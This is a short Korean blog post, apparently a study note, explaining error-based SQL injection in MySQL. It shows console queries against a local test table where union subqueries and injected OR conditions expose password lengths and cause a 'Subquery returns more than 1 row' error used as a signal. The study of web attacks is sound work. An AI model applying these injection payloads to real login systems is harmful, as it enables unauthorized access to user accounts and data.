Hacking/Web.

error based sql injection

2017. 2. 12. 01:23



오늘도 error based sql injection을 공부하였다. 진짜 쿼리는 공부하면 공부할수록 더더더더더 신기해지고, 기묘해지는 것 같다. 


대충은 알고 있었을 것 같기도 한데, union 문에서 같은 것을 출력할 시에는 합쳐진다. (?) 뭔소린지 잘 이해가 가지 않을 텐데 다음 쿼리를 보자 

mysql> select 1 union select 1;

+---+

| 1 |

+---+

| 1 |

+---+

1 row in set (0.00 sec)

이런 것을 이용해서 error based sql injection을 하는 것이다. 


우리는 서브쿼리를 이용할 것이다. 

mysql> select * from test where id='' || (select 6 union select length(pw));

+-------+--------+

| id    | pw     |

+-------+--------+

| admin | ad1234 |

| guest | gu1234 |

+-------+--------+

2 rows in set (0.00 sec)


이렇게 사용가능하다. 


방금 또 엄청난 쿼리를 발견했다. 방금 것과 같은 원리를 이용한 쿼리이다. 

mysql> select * from test where id='admin' and pw='' OR id='admin' and (length(pw)>0 or (select 1 union select pw));

+-------+--------+

| id    | pw     |

+-------+--------+

| admin | ad1234 |

+-------+--------+

1 row in set (0.00 sec)


이렇게하면 된다. 원래는 (select 1 union select pw) 부분에서 에러가 나야 정상이지만, 이미 서브쿼리 전의 쿼리에서 'ad1234'가 출력되었으므로, (select 1 union select pw)에서는 1 만 출력된다고 볼 수 있다. 


그래서 (select 1 union select 2)라고 바꾸게 된다면 오류가 나는 것을 볼 수 있다. 




mysql> select * from test where id='admin' and pw='' OR id='admin' and (length(pw)>0 or (select 1 union select 2));

ERROR 1242 (21000): Subquery returns more than 1 row



진짜 좋은 쿼리를 알게 되서 뿌듯하다. 웹해킹을 더 깊이 공부할 수록 더 복잡하고 신기한 쿼리들이 많이 나오게 되는 것 같다.






'Hacking > Web.' 카테고리의 다른 글

Blind SQL injection technique  (0) 2017.02.16
XSS??  (0) 2017.02.16
error based sql injection  (0) 2017.02.08
sqli tips  (0) 2017.02.08
sqli시 공백우회  (0) 2017.02.02